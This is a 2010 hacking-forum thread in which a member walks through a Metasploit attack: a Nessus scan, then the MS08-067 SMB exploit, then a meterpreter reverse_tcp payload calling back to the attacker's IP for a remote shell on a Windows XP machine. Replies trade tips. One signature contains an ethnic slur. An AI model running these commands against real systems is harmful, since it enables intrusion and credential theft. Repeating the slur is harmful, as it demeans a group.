[x]
We are happy to see you on AH
AH - AndhraHackers is a place to entertain as well to spread knowledge around.
One of the most exciting Indian Community over Internet.

We would like you to Join AH Forum Today.

Why to JOIN AH forum ?
Pages: [1]   Go Down
  Print  
Author Topic: METASPOILT: TUT  (Read 366 times)
0 Members and 1 Guest are viewing this topic.
s1ayer
ICW Team Member
Full Member
*****

Karma: +3/-0
Online Online

Posts: 181


I was born Inteligent but EduCaTioN RUINED me


« on: March 10, 2010, 07:11:06 PM »

We all have seen the movies like hackers,etc we all have imagined to become the one like in movies.
So, taking a step forward to this dream i am giving a small tutorial on metaspoilt. I will be using a terminology msf instead of metaspoilt.
For those who dont know what is msf and have always been facinated by black and green screens, here is how it is done.

I am going to use NESSUS for vul. scanning and rest of the work will be done by msf. Also, I will be using msf console because it gives better control over the msf framework and faster response, using console has one more added advantage i.e.. it gives geeky look for which we all have a mind set that its very hi-fi.
Cutting all the discussions, directly coming to the topic.

So How to do it, I will describe this in steps for the better understanding, for this purpose i have used two system whom i have connected via WAN, host os doesnot matter, victim has xp installed on it.


Basic commands to be known:
1.searching anything: "search name"
2.set exploit: "use exploit_name" 
3.set payload:"set payload  payload_name"
4.see info: "info name"


[
STEP 1:
First instead of using nmap for port scanning , we have used nessus for the vul scanning, nessus has one more added advantage of giving each vul a number which helps in msf to search the proper exploit.
So, first we will scan the target.


In the above scan you can see how good nessus is in giving the information about the level of vulernability.
After analysing the report, we see 5 high vulnerability so clicking on the first one, lets see its details:


We can see lots of info about the vulnerability, vulnerability here service flaw at port 445 which has been given the number of MS08-067, this number is going to be of great help in future.


STEP2:
In msf, we are going to search for the proper exploit which can exploit it's vulnerability, so to make our search easier we are gonna type search number, wola see what we have got is the exact name of exploit, but for the other cases where you dont know the number or id , then also we can search by giving various parameters like name eg. search name etc...then we have to choose the best one among them by comparing all the requirnments and working.


Now , since  here we have got the exact exploit, then we are going to use this exploit,
 command used for it:
use exploit name eg. use windows/smb/ms08_067_netapi
we will check the various parameters by typing: info windows/smb/ms08_067_netapi


STEP3:
Now it's time to set victim's ip address i.e.. RHOST , RPORT is already set to 445


command to set RHOST: setg RHOST 192.168.1.5
Note:
(192.16.1.5 is the ip address of ma pc on local network whom i am going to attack)


STEP4:
After setting exploit, now its time to set the payload, so the main question arises which payload to use now??
Options for this questions can be shortened by typingshow payloads which gives the list of payloads which are compatible with that exploit.
In that we are going to select any payload , i prefer meterpreter/reverse_tcp.


To use this payload type the command: set payload windows/meterpreter/reverse_tcp


so , i will check it's paramater i.e.. LHOST, LPORT etc, now to check that , we type info windows/meterpreter/reverse_tcp




Now here we have to make some change LHOST, LHOST refers to the ip-address of attacker i.e.. mine.
So to set the LHOST we do :   setg LHOST 192.168.1.10

all done we are now ready  to exploit.


STEP 5:
Finally we type  exploit wola.... attack sucessful, session is created.

Now, what to do now?? Just type the command  help you will get a list of commands like kill process, shutdown,hash dumps, but i like shell because it gives you the full command line control of the system which you can see from the above picture.




Special Thanks: ICW,AH, guys and b0nd bro for their help in learning.




NOTE:
1.This tutorial is only for learning purpose, for any illegal use author is not responsible.
2.Any form of use of this tutorial should be done at own risk.
Logged

>>---S1ayer--->
Andhra Hackers , Indian Hackers , Indian Cyber Warriors , Ethical Hackers Forum
« on: March 10, 2010, 07:11:06 PM »

 Logged
RingZzer0
n00b
*

Karma: +2/-0
Offline Offline

Posts: 16



« Reply #1 on: March 10, 2010, 08:50:13 PM »

Nice attempt s1ayer, keep them coming.

Would like to add one point. Instead of doing "info" every time to look out for the required options to set, better command is "show options".
And contrary to two step setting of options, as been depicted in tut, attacker can go and select exploit first, then payload and then set all the options in one go.

Just add-ons. Keep the spirits high bro!!!
Logged
41.w4r10r
Global Moderator
Full Member
*

Karma: +7/-0
Offline Offline

Posts: 211


Luv To Fuck Porkis


« Reply #2 on: March 11, 2010, 02:24:33 AM »

Nice info s1ayer....

want to add something here b4 using any exploit from msf first try to learn wht tht exploit exactly do.... Like is it currupting memory of victim or wht bcoz i have seen many members using ddos exploits and asking why they are not getting shell etc... so firstly try to learn which exploit do wht....then just bang it.....

better you research your self and teach yourself....
tutorials are for guidence only dont depend completely on it or you will be tutorial worm only and never be a hacker.....
Logged
s1ayer
ICW Team Member
Full Member
*****

Karma: +3/-0
Online Online

Posts: 181


I was born Inteligent but EduCaTioN RUINED me


« Reply #3 on: March 11, 2010, 03:53:39 AM »

@above

right bro, specially , no one can teach msf now, they way they are expanding, only way to learn msf is to explore msf
Logged

>>---S1ayer--->
Hackuin
Location: /home/hackuin
ICW Manager
Sr. Member
********

Karma: +17/-0
Online Online

Posts: 362


Exploit Code Not People!


« Reply #4 on: March 11, 2010, 06:10:54 AM »

understand the framework first.
Logged

"Free software" is a matter of liberty, not price. To understand the concept, you should think of "free" as in "free speech," not as in "free beer."
"Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer."
"Unix, MS-DOS, and Windows NT (also known as the Good, the Bad, and the Ugly)." &
"Ubuntu - Linux For Human Beings."


Currently reading books:
Just say No to Microsoft [how to ditch Microsoft and why its not as hard as you think] -- by Tony Bove
How to cheat at Securing Linux -- by James Stanger
d3c0d3r
ICW Team Member
Full Member
*****

Karma: +9/-0
Offline Offline

Posts: 233


y0


« Reply #5 on: March 26, 2010, 05:44:54 AM »

 great
Logged
Andhra Hackers , Indian Hackers , Indian Cyber Warriors , Ethical Hackers Forum
   

 Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  


whitec0de.com | Techian.com | GfxLovers.com | CDN Pic | Inj3ct0r Exploit DB | Garage4Hackers
Page created in 0.096 seconds with 26 queries.